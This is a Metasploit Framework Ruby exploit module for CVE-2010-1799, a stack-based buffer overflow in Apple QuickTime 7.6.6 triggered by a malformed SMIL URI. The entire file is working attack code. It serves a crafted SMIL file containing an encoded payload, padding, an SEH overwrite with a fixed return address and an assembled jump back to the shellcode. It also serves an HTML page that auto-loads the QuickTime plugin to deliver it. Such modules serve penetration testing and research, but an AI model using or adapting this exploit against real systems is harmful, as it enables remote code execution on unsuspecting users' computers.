167 lines
4.7 KiB
Ruby
167 lines
4.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking # needs more testing/targets to be Great
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Seh
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:os_name => OperatingSystems::WINDOWS,
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:javascript => true,
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:rank => NormalRanking, # reliable memory corruption
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:vuln_test => nil,
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Apple QuickTime
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7.6.6. When processing a malformed SMIL uri, a stack-based buffer
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overflow can occur when logging an error message.
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},
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'Author' =>
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[
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'Krystian Kloskowski', # original discovery
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'jduck' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-1799' ],
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[ 'OSVDB', '66636'],
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[ 'BID', '41962' ],
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[ 'URL', 'http://secunia.com/advisories/40729/' ],
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[ 'URL', 'http://support.apple.com/kb/HT4290' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 640, # 716 - 63 - 8 - 5
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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#[ 'Automatic', { } ],
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[ 'Apple QuickTime Player 7.6.6',
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{
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'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 12 2010',
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'DefaultTarget' => 0))
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end
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def on_request_uri(client, request)
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return if ((p = regenerate_payload(client)) == nil)
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if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
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print_status("#{client.peerhost.ljust(16)} #{self.shortname} Sending exploit SMIL (target: #{target.name})")
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# This is all basically filler on the browser target because we can't
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# expect the SEH to be in a reliable place across multiple browsers.
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# Heap spray ftw.
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off = 716
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start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"
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scheme = rand_text_alphanumeric(5)
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sploit = ''
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sploit << scheme
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sploit << "://"
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# payload
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sploit << p.encoded
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# pad to SEH
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sploit << rand_text_english(off - sploit.length - start.length)
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# seh frame
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sploit << generate_seh_record(target.ret)
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# jmp back to payload
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distance = off + 8 - (8 + start.length)
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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# force exception while writing
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sploit << rand_text(1024) * 15
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smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
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<body>
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<img src="#{sploit}" />
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</body>
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</smil>
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send_response(client, smil, { 'Content-Type' => "application/smil" })
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else
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print_status("#{client.peerhost.ljust(16)} #{self.shortname} Sending init HTML")
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shellcode = Rex::Text.to_unescape(p.encoded)
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url = ((datastore['SSL']) ? "https://" : "http://")
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url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
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url << ":" + datastore['SRVPORT']
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url << get_resource
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fname = rand_text_alphanumeric(4)
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content = "<html><body>"
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content << <<-ENDEMBED
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<OBJECT
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CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
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WIDTH="1"
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HEIGHT="1"
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CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
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<PARAM name="SRC" VALUE = "#{url}/#{fname}.smil">
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<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.smil">
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<PARAM name="AUTOPLAY" VALUE = "true" >
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<PARAM name="TYPE" VALUE = "video/quicktime" >
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<PARAM name="TARGET" VALUE = "myself" >
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<EMBED
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SRC = "#{url}/#{fname}.qtl"
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QTSRC = "#{url}/#{fname}.qtl"
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TARGET = "myself"
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WIDTH = "1"
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HEIGHT = "1"
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AUTOPLAY = "true"
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PLUGIN = "quicktimeplugin"
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TYPE = "video/quicktime"
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CACHE = "false"
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PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
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</EMBED>
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</OBJECT>
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ENDEMBED
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content << "</body></html>"
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send_response(client, content, { 'Content-Type' => "text/html" })
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end
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# Handle the payload
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handler(client)
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end
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end
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